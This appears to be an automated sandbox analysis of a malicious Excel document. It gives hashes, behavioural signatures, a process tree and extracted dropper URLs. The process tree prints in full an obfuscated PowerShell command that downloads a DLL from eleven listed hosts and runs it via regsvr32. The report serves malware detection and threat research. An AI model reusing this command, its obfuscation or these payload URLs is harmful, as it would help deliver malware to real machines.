Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:35

General

  • Target

    05a33226b5454fbaf9a395e541921d5d6b9f88f25534eff36ebc8bee8ac7f66a.xls

  • Size

    88KB

  • MD5

    fdec2214b1c7cd06d30f5f29d33fbcc2

  • SHA1

    45643e5678fe830a6a7344fdb356481befa1c9a4

  • SHA256

    05a33226b5454fbaf9a395e541921d5d6b9f88f25534eff36ebc8bee8ac7f66a

  • SHA512

    aa627461c8aca624c6cf1040df644825ab67d6f70275cf02a05a6e2243fe2f6c95c2f46ba3a578c5566d72eae9ced2fc7291c287dbf959b14dc2c13266fd5087

  • SSDEEP

    1536:zyehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQAekWvgrPE4nWHPNc2AB:zyehv7q2Pjx45uoDGTj+5xtekEvi8/da

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/

exe.dropper

https://1566xueshe.com/wp-includes/z92ZVqHH8/

exe.dropper

http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/

exe.dropper

http://o2omart.co.in/infructuose/m4mgt2MeU/

exe.dropper

http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/

exe.dropper

http://www.ama.cu/jpr/VVP/

exe.dropper

http://actividades.laforetlanguages.com/wp-admin/dU8Ds/

exe.dropper

https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/

exe.dropper

https://edu-media.cn/wp-admin/0JAE/

exe.dropper

https://iacademygroup.cl/office/G42LJPLkl/

exe.dropper

https://znzhou.top/mode/0Qb/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\05a33226b5454fbaf9a395e541921d5d6b9f88f25534eff36ebc8bee8ac7f66a.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2424
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\bbiwjdf.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2584
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:848
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2224
        • \??\c:\windows\syswow64\regsvr32.exe
          c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2648

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \??\c:\programdata\bbiwjdf.vbs

    Filesize

    1KB

    MD5

    7baad56cc483132b8b9cb7a14722c3b1

    SHA1

    602f7933c443765697bb178ca137f17f81856f0d

    SHA256

    31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee

    SHA512

    b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

  • memory/2424-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2424-1-0x000000007331D000-0x0000000073328000-memory.dmp

    Filesize

    44KB

  • memory/2424-2-0x00000000070B0000-0x00000000071B0000-memory.dmp

    Filesize

    1024KB

  • memory/2424-42-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB

  • memory/2424-32-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB

  • memory/2424-19-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB

  • memory/2424-44-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB

  • memory/2424-45-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB

  • memory/2424-46-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB

  • memory/2424-49-0x000000007331D000-0x0000000073328000-memory.dmp

    Filesize

    44KB

  • memory/2424-50-0x0000000006430000-0x0000000006530000-memory.dmp

    Filesize

    1024KB